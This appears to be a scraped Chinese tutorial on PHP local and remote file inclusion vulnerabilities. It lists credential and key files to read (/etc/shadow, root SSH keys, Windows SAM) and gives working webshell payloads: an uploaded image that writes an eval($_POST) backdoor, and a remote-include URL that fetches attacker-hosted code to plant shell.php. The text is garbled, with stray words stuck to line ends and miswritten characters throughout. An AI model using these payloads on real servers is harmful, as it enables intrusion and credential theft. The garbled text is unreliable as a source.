程序开发人员通常会把重复使用的函数写到单个文件中,须要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程通常被称为文件包含。
经过函数包含文件时,因为没有对包含的文件名进行有效的过滤处理,被攻击者利用从而致使了包含了Web根目录之外的文件进来,就会致使文件信息的泄露甚至注入了恶意代码。php
文件包含相关函数:include()
、include_once()
、require()
、require_once()
mysql
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。 include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。 require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。 require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
当被包含的文件在服务器本地时,就叫本地文件包含。web
当被包含的文件在第三方服务器时,就叫远程文件包含。
须要开启 php.ini 中的allow_url_fopen
和 allow_url_include
。sql
一、直接进行文件的遍历读取(读取敏感信息):shell
Windows: C:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //mysql root C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //mysql配置信息 ...
Linux: /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /porc/config.gz ...
二、解析符合php规范的任何文件(本地包含配合文件上传):
能够利用文件包含函数能够解析任何符合PHP规范的文件的特性,结合文件上传获取webshell。bash
利用过程:
(1) 上传Web应用指定类型的文件,如:shell.jpg(须要确认文件上传后的绝对路径)<?fputs(fopen("shell.php","w"),"<?php @eval($_POST[topo]);?>")?>
(2) 使用文件包含漏洞,直接解析上传的非php后缀的文件,获取webshell。访问URL:http://www.xxx.com/index.php?page=./shell.jpg 在本地生成shell.php
服务器
三、远程包含Shell
(1) 先写一个test.txt文件,保存在本身的远程服务器yyy上,内容以下:<?fputs(fopen("shell.php","w"),"<?php eval($_POST[topo]);?>")?>
(2) 则能够经过访问:http://www.xxx.com/index.php?page=http://www.yyy.com/test.txt
则会在服务器根目录下生产一个shell.phpssh